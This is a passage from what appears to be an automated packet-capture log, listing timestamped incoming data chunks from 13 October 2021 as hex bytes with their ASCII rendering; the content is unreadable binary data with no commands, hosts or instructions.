00 fd 85 6e 26 0c 09 c2 6f ef 9d db 65 e7 36 b2 4a 24 86 89 bf 34 fa f2 d6 de 18 28 ea bb 04 bc a4 1e 8c dc 9c f7 0c 2a 03 ce 19 89 77 1a 8c 94 aa 36 c8 c3 ca 99 50 40 e2 7c 57 d5 81 55 c5 fa 8c Data Ascii: Xsiecc}Q;e`+u8D&eDPjUS9M!gi)w\|,ts9@0HtDe&qr=J?`x+HFc^%rqGu0gdikiwx{9e#)b]E)Sn&oe6J$4(w6P@\|WU
2021-10-13 10:51:51 UTC	189	IN	Data Raw: 72 2a b6 3c 81 73 1c db ff 85 15 d3 00 63 61 40 31 79 98 04 12 ce 53 f0 0c f8 d5 27 12 d8 6a e6 88 03 f8 d6 8d bc d3 05 65 ae 74 78 fb 33 56 a1 10 f5 69 38 f3 89 dd 63 5b 3b 96 f7 23 a6 0e f5 5c 9d 51 a2 a9 18 84 20 e9 6c b5 d6 ca 91 a4 7d d9 2f da f3 27 1a e3 b8 c3 42 be 7d a3 1e 76 d2 a1 f8 cd 90 3f ba e6 d1 8e 8a 82 35 14 17 ba 6c 42 40 38 4c af 99 dc 7e 6a d3 a5 6a 45 f1 aa 53 b1 29 69 53 4e ab 1e 2b e5 c8 34 e5 de 09 6e c5 fd 5f 83 66 93 8f 52 26 1d 85 69 a9 8b 90 c6 cf 1b d1 a8 03 73 7d b0 14 75 28 7c 95 13 08 17 c1 55 6b bf f8 9c 24 95 14 5a 95 a8 14 86 58 f3 08 9a 73 0d 06 74 9b d3 2d 18 ed 46 6d 12 5d 30 f3 b5 3a e3 29 8c e5 b8 78 a4 33 bb 4b a5 b8 c8 8c f6 53 95 a6 2a 40 cb c8 54 f9 ac 24 23 33 85 56 dd 53 b1 7c 24 08 6a 12 3a 23 51 33 08 87 41 Data Ascii: r<sca@1yS'jetx3Vi8c[;#\Q l}/'B}v?5lB@8L~jjES)iSN+4n_fR&is}u(\|Uk$ZXst-Fm]0:)x3KS@T$#3VS\|$j:#Q3A
2021-10-13 10:51:51 UTC	191	IN	Data Raw: b0 8f 9c 6d 71 2d f1 34 c8 58 9f 79 b9 a0 00 97 c2 8e ed 82 52 6d c7 ec a6 56 8b 4c cd 2b fc dc 0b db d5 8f e9 2b 3a d4 2b 59 2f 8e c6 16 7d 28 0a 11 d7 dc c2 5c 95 39 56 43 bb 62 2c 28 48 bd 8b aa ac 52 09 d8 47 63 67 1c 40 c3 29 32 a8 99 ea 8f 1b b6 a4 09 c8 e4 2b e6 99 4f 30 29 aa 77 b3 c3 19 5f 12 fa 6d 4e 54 97 35 4c 69 8f 16 10 d5 f9 97 7b 28 30 60 ec 9a 95 66 07 92 c9 48 76 6e b7 81 1f fe 36 28 e4 81 1f bc 00 37 25 01 ee 71 bf 1a 74 55 13 fc d5 93 13 e5 ad db 86 31 af 96 a6 44 9e df 0d cb 33 73 07 d4 f1 93 c6 48 71 59 f4 51 88 70 e7 54 b1 53 f2 95 a5 d7 96 50 05 a5 ae 26 b1 18 0d 83 37 ce b3 e7 43 1d 4e 63 bc 2b 63 6b 49 5d 50 ff c5 ca 36 b6 32 54 6a ee 52 c2 ae 47 71 ab 07 89 3f 20 00 50 13 79 14 5d 5a f7 6c 5a 64 04 31 9f 9c 7a b3 8b b2 5b 24 e7 Data Ascii: mq-4XyRmVL++:+Y/}(\9VCb,(HRGcg@)2+O0)w_mNT5Li{(0`fHvn6(7%qtU1D3sHqYQpTSP&7CNc+ckI]P62TjRGq? Py]ZlZd1z[$
2021-10-13 10:51:51 UTC	192	IN	Data Raw: 1a 9d 85 4b 30 b6 84 ef 71 46 ba ae 11 8a 34 b2 31 e2 99 e4 0a d0 bb 90 d6 3b 06 54 ba 51 63 f0 7a 08 f4 fe 67 b3 bf bf ce df a8 9c d4 c0 be fc 39 f7 7c 52 7f 29 6b e1 b9 19 90 83 d9 de 76 64 7e 08 30 09 1c 0e 05 0c 56 7f 55 0b 91 36 3e 4d 1a b6 13 7f 66 d9 c8 44 e0 06 0c 8d f6 53 4c 72 ed 04 ea 40 de c2 99 d5 40 b6 03 3e 38 98 58 b0 7f 2c 95 ba 90 f6 e4 bd 19 52 59 27 7b bc 14 10 1b 77 1f 73 0a 2b 74 42 28 19 be 93 55 80 31 db 76 14 6d 78 70 c6 8b 68 15 94 45 87 d8 61 6d 51 76 62 55 99 e1 0c 60 13 4c 18 08 0d d3 ca 83 db 11 b9 24 d3 98 c3 3b 7b 33 72 7b cb 67 9c c5 cb e5 47 4a dc 95 cd d4 55 dd bb 99 1b b0 74 9f be 5f 7a b3 b7 b0 81 91 76 94 df ec ca 56 fc 76 50 b3 4f 80 0b 35 82 b4 70 24 a9 31 a9 1c 83 6f 5f de 7e 21 06 ff b6 1c f2 9f a4 e8 32 27 3e 2d Data Ascii: K0qF41;TQczg9\|R)kvd~0VU6>MfDSLr@@>8X,RY'{ws+tB(U1vmxphEamQvbU`L$;{3r{gGJUt_zvVvPO5p$1o_~!2'>-
2021-10-13 10:51:51 UTC	193	IN	Data Raw: ba d3 35 81 0a 01 6c 8a 20 23 32 e3 b6 97 90 68 e0 53 f3 d9 c3 70 e8 d1 f0 f9 25 f0 49 8c 4c 3b 70 1c b1 e0 27 85 3b 1c 51 a8 49 21 87 97 5c 7d 58 62 0a 82 52 20 06 8b f5 a2 4e 2e 7a 54 f4 28 df ee 14 d3 bd 0a 3d 01 ab 26 92 14 31 f9 90 2b b1 54 a8 ce cd c0 b3 ce f7 2d 0e ac 94 e2 56 9c 85 f0 53 36 be e4 68 70 1a 10 9a ce 8f 50 a9 03 3d ce e0 73 38 6c fa 87 de 4a 15 44 8d 6f 0e 98 4c 50 51 d5 f4 be b8 c7 b3 63 68 64 fa 94 10 23 2a b9 e9 d9 2a b1 80 52 e6 7a 16 e4 35 e4 87 7e 9e 91 ea ec e3 e8 ec 40 bc dd b2 db 0b c5 80 3f c7 6b 73 35 02 93 d1 23 b0 ab 05 8a c8 6b a6 ee 06 f5 ea ad 99 45 1d f2 51 c4 d5 33 08 eb ec d6 93 59 f7 ae 2f ea f1 fc 8c 05 49 2e 13 9b 25 df c7 48 26 0b 71 37 b1 ef ad da cc 0f 3f db c3 b2 0e bd d8 f3 2f 4c 13 2a 64 9d d1 1a a0 3b d0 Data Ascii: 5l #2hSp%IL;p';QI!\}XbR N.zT(=&1+T-VS6hpP=s8lJDoLPQchd#*Rz5~@?ks5#kEQ3Y/I.%H&q7?/Ld;
2021-10-13 10:51:51 UTC	194	IN	Data Raw: ee 6f 0b ee b0 58 8e 6b 3b 2b eb d6 e7 fc 23 8f 0f 31 18 de 83 5e 6c ab 13 14 d5 2f 71 11 01 fb 68 5b 97 38 87 64 11 65 a3 28 19 bd 27 ad 40 52 4d da f3 60 9f 30 c1 e0 b7 32 65 97 93 8c ab b1 e7 2c 7b e5 9b e1 b4 43 84 28 e8 76 30 f3 55 5d a0 fd 23 5b 1e 92 d1 49 16 95 7e 36 a9 f8 21 57 21 34 ee eb 1c 85 67 21 4c c9 cb 63 68 91 19 18 78 26 25 c2 01 18 fc 25 0f 24 83 e9 ae 99 cc 71 6f 11 ef f2 71 3a 69 aa a4 9c d4 86 e2 ae 76 8d 90 0b f5 31 0c 1d 68 f4 d5 c4 24 61 b4 f5 51 8b db cb 31 bc 73 f3 16 b0 1b 90 6f 04 e6 8b 11 b3 2f 0c c3 12 f8 b1 b3 42 0d 46 94 96 9f 64 82 50 d9 51 49 c2 eb 25 46 18 6f 6b c0 5a 77 ab 82 70 d0 35 57 3a ed 01 af 3d 0f 17 15 5a 7c 43 08 4e 01 34 ec b9 9e bb 7c b7 46 2c 3b f9 29 38 1b 31 e5 ea 66 9a a8 aa 35 e5 bb 6f ff ea 8d 84 42 Data Ascii: oXk;+#1^l/qh[8de('@RM`02e,{C(v0U]#[I~6!W!4g!Lchx&%%$qoq:iv1h$aQ1so/BFdPQI%FokZwp5W:=Z\|CN4\|F,;)81f5oB
2021-10-13 10:51:51 UTC	195	IN	Data Raw: a3 c6 c7 97 ca 0b 16 56 e9 48 c0 d9 96 20 90 ff d2 b6 b7 bf be da 91 db 91 81 85 aa 4d b4 45 52 62 4c 1f e1 f8 5c 7e f3 ad b1 0c 05 98 61 40 62 25 0e c4 4a 7f 11 31 6e 7e 47 1a 3d 7c d6 b2 7a 68 83 a5 2a 00 4b 3d cf bb 3f 5a 00 48 35 c4 09 21 bc 46 8d 0e 87 b8 61 c0 f5 35 e3 f4 7a 74 a7 e2 f6 be d9 53 33 69 4e 63 8e 51 7b 3d 05 62 16 7b 18 05 42 7e 70 e1 e1 73 f3 2d bd d9 3a 59 11 05 f5 85 68 03 e7 33 f5 f6 53 04 03 60 03 c5 cc 28 62 3f 20 3b 18 df 62 95 83 f0 af a1 8b 5f 81 b8 a2 dc 32 de 06 0d f9 ee c8 d9 82 8d 32 d9 ee be 86 f4 2c 2a da 3e 6e 90 24 5f d7 fe 1a c4 b7 57 e8 e9 02 c1 b0 21 ab e7 85 68 63 73 16 cb 38 70 b4 33 34 f5 99 06 e9 9e ae 41 68 d4 48 ec 32 90 8f 18 df 45 9d 29 00 4f 0f 69 2b b2 67 83 28 30 04 a8 f9 0e fa a8 33 30 cf 78 68 24 e2 ac Data Ascii: VH MERbL\~a@b%J1n~G=\|zhK=?ZH5!Fa5ztS3iNcQ{=b{B~ps-:Yh3S`(b? ;b_22,>n$_W!hcs8p34AhH2E)Oi+g(030xh$
2021-10-13 10:51:51 UTC	196	IN	Data Raw: 91 70 7c ac 25 92 77 f0 8f fd 99 52 22 1c 53 be f2 c8 68 1c ee f6 9c 7b f5 fe de 18 e8 28 4f d1 31 4b 4e 95 b2 f1 c4 6e 32 4a 95 7b 8b b8 98 ce de 59 f3 70 e3 38 f7 47 04 81 d8 35 d6 07 0c 83 46 dd f0 9a 42 48 12 b2 d1 b6 64 c6 04 fe 14 62 c2 a2 71 6e 7b 44 6b a0 0e 5e ca 57 70 b5 61 7d 5d 38 01 d3 69 57 72 10 5e 25 16 86 0f 05 30 99 ec a0 fd 92 b3 31 79 7b bd c1 3c 62 64 a7 88 8c 9e fb ff 71 85 2f 6b af bf f9 e2 2b f2 d3 8f cf 84 bd e3 1e 3f d3 f1 8d d9 aa d7 16 82 3d be 7c 93 ba 96 75 6a ce 8c 97 af 0e c1 9a 82 8a ea de ed 36 0a a5 07 c4 e6 68 dd 87 ba d6 28 06 22 c4 79 ea 71 a9 59 6d 1f 2e c1 ee f0 93 92 48 61 5c 72 73 e4 ef ed 8d c9 49 6a db 82 e5 09 f5 8d f3 49 1b 1a 48 31 9d bd 4d ab 5f 85 a1 02 20 4a 8b 3b 81 67 6f eb bd 9f df ab 57 4f 95 bb ae a4 Data Ascii: p\|%wR"Sh{(O1KNn2J{Yp8G5FBHdbqn{Dk^Wpa}]8iWr^%01y{<bdq/k+?=\|uj6h("yqYm.Ha\rsIjIH1M_ J;goWO
2021-10-13 10:51:51 UTC	198	IN	Data Raw: 01 41 7c e3 e7 79 c9 2c a8 d9 75 60 1b 0e c6 d0 0d 02 cb 11 e2 b1 28 6a 22 71 03 cf fa 04 0c 0c 76 7d 50 ea 7e a8 89 f1 bf f7 b9 38 b6 a9 9c eb 14 d3 19 5b bf ab ee c4 a4 91 05 85 b8 db cd e2 30 08 e4 1f 74 91 11 3e f8 e5 16 93 fa 7c e5 ef 76 f8 be 2b ae fc 92 6f 1c 1c 2b ce 0b 33 f0 0e 00 b3 c6 61 df ad e6 15 32 af 11 a5 63 d4 f5 36 9f 0c d6 0e 41 11 57 42 7d cc 3d d1 0c 72 76 f5 b8 52 9f 8e 11 0a e2 73 1c 4a bb c0 eb b5 34 6b 57 41 17 8b a8 b3 ac 0c 86 e4 ce 25 fe d2 0b 1d 70 1f 7c c2 37 54 f9 f4 14 83 3e e5 8e 52 1b 0d 65 77 4a a9 c9 ba 1c 5b 77 e8 c3 d7 0d b7 a0 62 04 17 85 2c 46 ad 76 ad 9b 0c 5a 35 a9 33 96 de 65 7e 4c 0b 38 4c 69 6e 5f 48 59 f8 52 28 d7 9d dc d7 09 e0 5c d6 65 d8 0b f5 18 12 da 10 d0 21 ed b8 e9 d0 01 3a 8a d7 2a a3 18 01 4e ea b0 Data Ascii: A\|y,u`(j"qv}P~8[0t>\|v+o+3a2c6AWB}=rvRsJ4kWA%p\|7T>RewJ[wb,FvZ53e~L8Lin_HYR(\e!:*N
2021-10-13 10:51:51 UTC	199	IN	Data Raw: be c3 12 2c 08 9f e0 63 7e 48 d7 8c d9 ed fc de 2e ab 1f 0f a2 8b ad fe 0e 97 b5 99 a7 82 86 84 39 3d aa c2 be d9 b8 e0 7a b2 0e ea 43 b5 df d1 70 1e f4 b3 f9 af 3f cc b5 ae dc b9 c8 eb 37 27 85 25 bd d7 4c b2 91 83 b5 24 3c 76 d9 5f 8f 14 bd 30 65 2d 7a c9 ec 89 a1 a0 48 45 6e 06 68 d2 99 c9 ae a8 7d 69 a2 b5 d7 09 ce bf 87 77 2d 6c 4b 12 fc ac 4e d2 4b b7 a1 20 12 3e b9 15 f1 65 38 b8 91 94 c6 99 23 56 83 bd ae e2 c6 7d c1 8a 6f d7 99 78 f1 d5 59 2e 5d 54 59 a2 f7 98 9c 79 58 f4 dd 10 bf 2e 28 8d ef d2 a6 80 74 9e 28 d0 53 69 e9 65 ac 18 82 90 ad e4 e7 1e f8 40 7f 87 39 55 66 e8 fb 26 ee 1a 9d 7e 6a b1 8c 8a 92 c7 f7 bd c0 b2 84 cf a7 56 2f 63 50 32 7f 02 54 24 f6 f8 39 0d b3 90 91 09 32 93 d9 35 88 7d c2 21 8b c2 ab 63 a4 b6 fa 8f 55 6f 27 b7 54 11 bd Data Ascii: ,c~H.9=zCp?7'%L$<v_0e-zHEnh}iw-lKNK >e8#V}oxY.]TYyX.(t(Sie@9Uf&~jV/cP2T$925}!cUo'T
2021-10-13 10:51:51 UTC	200	IN	Data Raw: 0d 32 05 5b 59 4c c8 26 d0 04 3d 53 9c 84 5b 89 88 15 0b e2 73 64 5d b0 ac c4 bc 50 6c 31 26 11 99 f7 82 a4 65 80 ed aa 26 98 b5 09 0f 2f 1f 72 a5 31 5d 9d d9 12 ed 2e ec e7 77 13 69 47 10 03 92 fa df 05 48 22 e4 cd b4 01 b4 c5 06 35 76 97 25 46 b4 4e b8 9b 6b 3d 36 ba 6c 84 ca 00 7e 50 08 2d 5b 65 34 6e 66 44 f1 57 29 cc a7 c9 b2 1f 85 5b ec 41 e6 1a e2 14 2f d8 60 ff 36 fb 80 ed e2 0b 14 87 dc 3c 9e 04 03 2b bf 82 db c5 39 e1 6e 5e 07 b6 8c 39 6d ec 0a 61 f1 41 10 7e 18 93 65 3c 96 6b 80 16 06 00 cc 06 22 ce 23 da 28 3c aa f5 df 0d fc 57 39 8f b7 32 21 e5 63 e0 80 d0 95 49 ed d0 a1 95 c4 2a 49 4e 83 22 5e b1 90 2f ae cb 15 08 cf e1 d5 27 70 95 9d 44 a7 99 53 32 8a 54 f5 8a 4e f1 e5 49 4d ae c9 36 f7 f5 1b 7b 18 56 b2 87 11 6c 9f 76 83 57 99 87 c8 99 71 Data Ascii: 2[YL&=S[sd]Pl1&e&/r1].wiGH"5v%FNk=6l~P-[e4nfDW)[A/`6<+9n^9maA~e<k"#(<W92!cI*IN"^/'pDS2TNIM6{VlvWq
2021-10-13 10:51:51 UTC	201	IN	Data Raw: ba 76 c7 3b a2 d2 06 07 23 c3 08 ed 6c 38 85 8a 93 c1 90 79 66 96 a1 cb 80 d6 6a cc a5 58 96 93 60 f8 bb 66 13 48 48 3c f1 c8 82 84 79 66 b2 e4 0f b6 2e 18 87 f6 fd 8e 81 53 f1 1c dd 69 49 eb 5a d8 19 92 87 86 c2 f0 18 8d 55 73 87 1f 4c 7a f1 ee 3b e4 14 9f 0a 5a a1 94 a1 a2 db f3 df cb b2 a3 e3 88 23 1f 7c 35 1f 66 41 65 25 82 c8 26 68 f5 be f0 3e 2b e6 e3 3d 88 7a db 3d 82 f8 bc 70 b5 be f8 e1 70 6b 20 8d 16 3e af 17 5b ec 89 43 fe da bf f9 bf e5 c1 b9 b3 b6 96 6b 86 11 01 77 5e 4b 80 dc 19 54 e3 a6 b8 1f 10 9f 5e 51 70 71 6f e0 09 77 18 29 54 58 5d 17 1d 74 e5 f7 08 48 94 ad 44 37 71 25 d1 ab 3c 6c 06 5a 61 a5 2d 6d 92 50 8d 3c d3 c9 5c e8 c7 02 e3 c8 49 24 f7 bd f6 b2 d8 48 3d 6b 5e 03 c8 23 75 39 1a 0c 14 72 5f 68 0e 63 78 f0 f2 71 80 25 be d9 4b 59 Data Ascii: v;#l8yfjX`fHH<yf.SiIZUsLz;Z#\|5fAe%&h>+=z=ppk >[Ckw^KT^Qpqow)TX]tHD7q%<lZa-mP<\I$H=k^#u9r_hcxq%KY
2021-10-13 10:51:51 UTC	203	IN	Data Raw: 70 f5 1d ee 32 31 cb 09 de 3d 8c 85 e2 e0 0f 3a 87 d6 1c 96 1e 05 6e 92 b5 f8 8d 08 e6 62 5f 63 9c 90 27 1d df 00 72 c6 4e 03 79 15 99 4e 23 f5 5d 89 11 1b 0a cf 28 27 ce 25 d8 2c 37 a3 af d9 15 e9 7f 36 b3 b1 5c 00 f2 49 f5 a1 d4 96 58 b2 8b 9c e1 f7 31 40 5c ee 13 5f 87 bf 29 a7 91 64 23 d8 f6 cc 3d 7e fa b6 37 8d 96 55 36 a2 5c e5 a4 6d e0 e5 41 57 a0 a6 0d dc e8 0b 7d 09 52 be ac 1e 18 ad 4a 94 4e 95 9d ea e1 56 15 6c 65 84 9d e5 3b 5d d8 c2 e9 42 e2 f9 da 31 f5 0f 6f f2 45 64 72 fb f5 c5 a1 52 3e 0e 91 5b e8 a8 a2 be c9 63 9c 7a b0 4b f7 60 5b a3 ee 46 d2 26 65 b1 66 b4 dc a0 42 6b 23 c6 cb b1 10 e1 24 8b 20 72 a7 99 46 1c 73 60 1f ab 35 30 a9 50 09 a2 41 18 55 42 53 c0 53 23 7c 29 3b 49 00 e9 22 23 44 af d8 c9 d6 a2 d7 32 54 1e 99 e1 48 43 5e c9 e9 Data Ascii: p21=:nb_c'rNyN#]('%,76\IX1@\_)d#=~7U6\mAW}RJNVle;]B1oEdrR>[czK`[F&efBk#$ rFs`50PAUBSS#\|);I"#D2THC^
2021-10-13 10:51:51 UTC	204	IN	Data Raw: 95 0b 46 a5 de 22 fa 59 dc 25 b2 d8 ad 70 d0 b8 f0 95 48 4c 26 bd 23 2c b9 00 08 eb 9e 52 c0 f5 cd d1 ad e2 f6 ae c0 85 96 6b 91 1d 26 6a 43 40 80 dd 5a 7f eb b0 b5 0c 01 b5 6f 4f 67 77 7a ca 7b 75 1c 29 6e 6f 33 27 3d 55 d3 ed 1f 5f 9c a3 14 15 71 3d cc ba 27 5a 00 28 41 aa 23 02 b1 50 8b 3e d7 ca 48 e0 d1 02 d5 ce 3b 12 e2 a2 93 9e d0 72 20 70 53 35 ce 51 44 3d 0f 78 24 65 42 43 27 41 19 c7 fd 68 e5 30 db ef 7d 7a 3b 04 a8 c1 0d 04 e0 33 f5 c5 23 6d 3f 64 10 d8 df 0e 7e 26 72 7d 6c ee 7f c0 ad fb af cd fa 30 be ad b6 cc 1e c2 72 6d ae 9c ea d3 b9 a0 29 87 ac cb b9 f4 27 7c dc 37 6f aa 30 50 cd de 1f 85 d8 7f f7 ef 04 a8 ac 2a be ca b8 66 22 21 2a d8 64 1c f4 12 02 c7 fa 57 df 9c ef 1d 2f 80 11 a0 74 b0 e0 30 97 0b c1 19 32 36 51 61 7c f6 37 c7 69 14 47 Data Ascii: F"Y%pHL&#,Rk&jC@ZoOgwz{u)no3'=U_q='Z(A#P>H;r pS5QD=x$eBC'Ah0}z;3#m?d~&r}l0rm)'\|7o0Pf"!dW/t026Qa\|7iG
2021-10-13 10:51:51 UTC	205	IN	Data Raw: f2 46 42 bc a5 17 da e2 0d 7c 1c 48 a3 aa 11 74 8d 25 b2 54 85 88 c3 ea 35 25 68 78 81 81 8b 78 6e cf c4 e8 4a d7 f6 dc 15 e0 1f 0a d4 50 78 71 e1 b0 cc b1 4b 04 38 95 5c ee 93 bf ab d0 79 f3 47 c9 4b e6 71 69 c9 dc 5c df 30 63 b6 61 f3 f5 a1 30 61 35 b2 d0 8c 17 80 13 91 3d 42 a3 83 4b 1d 1a 53 04 ac 2c 3b db 70 19 be 5b 0e 38 3f 78 c6 49 32 78 6a 0a 02 3b f2 62 02 55 ba cc cc d9 b5 f6 0f 5c 09 9f e7 4f 43 5e c9 9a d9 f9 fc de 2e af 14 08 a7 9f 9d e2 37 9c f2 b6 a0 81 89 8f 13 19 b6 c0 ba ad 87 ee 78 b4 6b cd 5f b1 e5 98 4d 09 ea af f3 ad 22 db 82 a7 b3 88 cc e4 0d 25 89 23 a5 f3 57 b2 8b 9f d6 18 29 51 d4 4a 87 3a bc 36 67 25 4b c5 cc 99 be ab 3b 22 78 17 43 ec a2 c9 a2 a0 62 48 b6 84 c7 7d d2 b7 92 5c 25 79 78 03 f9 b7 68 ce 58 a6 c8 08 19 39 ed 3f f5 Data Ascii: FB\|Ht%T5%hxxnJPxqK8\yGKqi\0ca0a5=BKS,;p[8?xI2xj;bU\OC^.7xk_M"%#W)QJ:6g%K;"xCbH}\%yxhX9?
2021-10-13 10:51:51 UTC	207	IN	Data Raw: 70 40 38 c8 51 77 3d 03 53 3f 72 45 50 2a 47 19 f1 f6 68 df 0e be c3 73 66 0c 6b a9 c7 37 33 ec 26 eb ac 02 6d 25 05 31 d1 f5 08 78 4b 44 68 71 ff 4b af b8 db a3 fb cd 5f 85 bc b6 d4 0f f3 1e 51 b8 8b ca d7 be 8f 32 ea 8a df b8 fd 21 33 cb 37 75 a3 15 4b d2 f8 7a 91 d2 67 de ce 13 ce be 3a a6 e1 fc 41 10 00 36 c5 68 22 e7 04 05 ab dd 32 e6 ac e4 36 30 9a 2c a4 75 a1 da 2d f2 0f c1 1f 6d 37 4d 48 61 c0 35 d0 07 06 35 cb ad 58 b9 90 35 00 e8 62 1c 41 bb d8 d5 99 3c 67 32 48 06 ff a4 9f b1 11 80 e6 84 0d 9f db 0f 0e 4a 30 70 cb 06 3a c5 f0 19 a8 07 ee 8a 54 1a 1d 00 36 77 ae fc bc 0c 42 47 e8 de b4 27 bd b3 0b 20 19 9e 2d 57 85 70 c8 a6 61 51 14 b2 0f 96 c0 65 43 5d 7b 3e 5b 7c 45 6a 6f 44 f1 58 39 a5 8e cb c6 3c 81 5d d6 7f f3 7e e1 18 35 e0 23 c4 21 fe a9 Data Ascii: p@8Qw=S?rEP*Ghsfk73&m%1xKDhqK_Q2!37uKzg:A6h"260,u-m7MHa55X5bA<g2HJ0p:T6wBG' -WpaQeC]{>[\|EjoDX9<]~5#!
2021-10-13 10:51:51 UTC	208	IN	Data Raw: 60 25 32 2c 26 ff 4c 37 55 a9 e6 e7 cd ae d7 3a 4d 08 8e f1 4e 61 54 de e9 aa fb ed f5 36 93 13 0f 86 8b 8a f3 1b 80 fe bf b6 e3 ab 8c 32 1d b2 db b5 aa a5 e4 6f c7 29 fd 48 bc ca a5 6a 07 f6 b5 e5 bc 20 d0 bc cb 9e a9 df f1 32 21 a8 34 b7 f3 4c b2 9c a7 b3 32 50 70 c5 48 83 67 8b 2b 72 02 4b df b8 96 a8 c5 2f 5b 0b 21 4e c0 9b cd b7 e7 5c 58 b8 b0 c0 60 c9 a3 dd 6b 3e 63 5a 12 f2 b9 68 ca 4b ba d8 67 10 2f 99 33 c0 73 4b 8e 93 95 c1 85 57 45 9f b9 8e 9a d0 7b c0 a1 45 d6 90 4d e7 c8 48 17 46 48 45 a2 d6 94 84 43 4a f8 d8 10 bf 5d 18 a4 e3 cf ae 9e 68 9e 35 d1 4d 49 ef 46 b4 13 f7 b2 b7 e8 95 39 94 48 79 98 25 73 78 e7 9a 07 fe 08 87 6f 44 ea b2 8b 89 c1 fb d0 c2 f9 a3 f5 96 4a 3c 7d 5c 26 6a 35 48 27 ec a3 0d 07 c1 be 91 0d 32 83 d9 23 a6 7e db 3f 86 d9 Data Ascii: `%2,&L7U:MNaT62o)Hj 2!4L2PpHg+rK/[!N\X`k>cZhKg/3sKWE{EMHFHECJ]h5MIF9Hy%sxoDJ<}\&j5H'2#~?
2021-10-13 10:51:51 UTC	209	IN	Data Raw: 83 66 63 e7 79 c3 14 9c be 5c f2 7d a5 79 0e 64 39 29 11 89 5a bd 6d 72 34 9d c0 3f fa fe 5e 6d 8e 36 1b 02 c4 cd ab d4 42 6b 45 4f 60 92 e5 8b df 60 f7 ea b8 21 ec d4 7c 00 3d 3c 1d b8 60 5f 80 98 70 ed 6a 8a f6 44 70 69 00 65 7a de 9d de 6a 21 27 86 a8 ba 6c dd c6 62 52 78 f6 40 31 e5 0a c6 f0 09 1d 52 dc 70 fb ab 20 2c 28 69 d9 bb 0c 3a 3b 0f 3b 92 36 4e ad c7 a0 b0 68 e0 2e b1 1f 81 7e 87 6f c1 2e 6e b4 53 8c d1 9e f3 6b 76 ee a0 d8 6a 6f 64 2a eb c4 f4 f9 7c 8e 0c 3f 65 df e1 5f 63 a5 6d 12 b4 2d 72 1f 6d 7a ae 58 90 2a 94 63 52 67 b3 45 68 be 47 8d 43 53 c3 c7 92 60 9c 38 5e e7 d7 31 7b 9a 1d a9 c6 b1 e7 22 d2 e1 f2 e1 a4 c3 e6 2c a3 76 23 73 34 58 cb fc 2c 55 b8 93 bc 55 07 92 de 39 d6 78 ee 45 4e e4 93 6b c8 97 17 f9 2d cf c9 62 8b 10 b5 16 7c 26 Data Ascii: fcy\}yd9)Zmr4?^m6BkEO``!\|=<`_pjDpiezj!'lbRx@1Rp ,(i:;;6Nh.~o.nSkvjod\|?e_cm-rmzXcRgEhGCS`8^1{",v#s4X,UU9xENk-b\|&
2021-10-13 10:51:51 UTC	210	IN	Data Raw: 50 5a f8 1c 0e 79 79 47 fa 7a f7 e5 5a a7 c6 60 15 d0 6c 73 20 f0 70 8d 2a 1f 29 1b 8a 1f 40 1f 8c 5a a7 ab de 8a d9 e3 b9 7a ba 75 3e c9 ef 80 a4 4a 96 40 fa dd bf c5 8f 55 78 b1 53 0a d5 77 3e be 84 71 f1 b1 1d 8f 84 74 b9 5e 06 d7 9b fa 08 53 72 53 bb 09 74 82 76 71 db ac 32 ab cd 02 f1 5a c2 7f dc 03 da bc 5e f7 72 aa 7a b3 2b 23 23 1b 84 72 b5 7b f3 24 99 c8 38 e6 e0 40 61 86 17 12 0e d2 ab a4 c8 39 0d 50 27 7c fb d7 e7 c0 6b f7 8c a3 5c ec 34 e3 75 3d 34 09 b8 6e 27 81 80 77 f0 77 9b e7 36 68 75 12 42 0d c7 81 c2 6a 32 30 b3 b7 b6 66 d3 c4 68 4e 67 f0 48 2e f7 16 fd f0 11 21 4d d3 71 f1 98 1d 2f 2b 6b 59 36 09 06 28 3b 38 89 2a 50 ab d4 bc 87 6e e2 25 b4 12 95 ff 0b 6f c1 6a 72 d8 55 8c ce 8d 8b 6b 58 f7 b5 54 eb 76 71 39 6b 4f 9c e3 7c 93 11 2d 7e Data Ascii: PZyyGzZ`ls p)@Zzu>J@UxSw>qt^SrStvq2Z^rz+##r{$8@a9P'\|k\4u=4n'ww6huBj20fhNgH.!Mq/+kY6(;8Pn%ojrUkXTvq9kO\|-~
2021-10-13 10:51:51 UTC	211	IN	Data Raw: 3c 4e 31 c2 e9 b7 9e ed aa 18 e6 1b 6b a7 ea f8 87 60 f5 bb c7 ca f1 6a f6 41 6c c1 30 c2 c4 eb 9c 13 da 6e b6 32 d7 38 cc 3e 6f 9b df 8a cd 63 b3 e5 ca c1 ef b0 8d 46 55 ed 54 c7 8e 3e de f8 e9 cb 4e 4d 27 a8 2b ee 94 ff 59 1f 4e 26 bb bd e2 53 e0 55 27 16 77 25 da fd 2a f3 d4 0a 20 de c3 92 08 bc cb 71 1d 4a 3a 2b 67 8c 5c 23 ae 1b d2 b3 e5 4a 42 cd 6f 9c 05 25 ee f6 ff a1 fc 53 1f ff d0 ce ff b0 10 a4 57 15 bc f4 6a 94 bb 29 79 24 24 3c ab b6 f4 ed 19 16 99 b4 6a d2 2b 6b e0 87 ac cf f7 11 9f 65 a1 2f 3a 81 35 c9 ea 6b f1 d1 8c 92 75 e5 22 07 f6 7b 19 15 9b 94 48 9b 66 f6 18 ab d9 f2 7c fe a8 91 a0 bb ca ec 8d e6 21 5b 12 30 7c 0a 4f 3c 4b 80 90 4e 6e b3 d1 ec 65 54 d3 ad 50 8a 21 b7 5f e9 ac cf 01 cd da 88 e4 1f 06 54 d0 49 5a c1 77 15 9d a3 21 b5 a2 Data Ascii: <N1k`jAl0n28>ocFUT>NM'+YN&SU'w%* qJ:+g\#JBo%SWj)y$$<j+ke/:5ku"{Hf\|![0\|O<KNneTP!_TIZw!
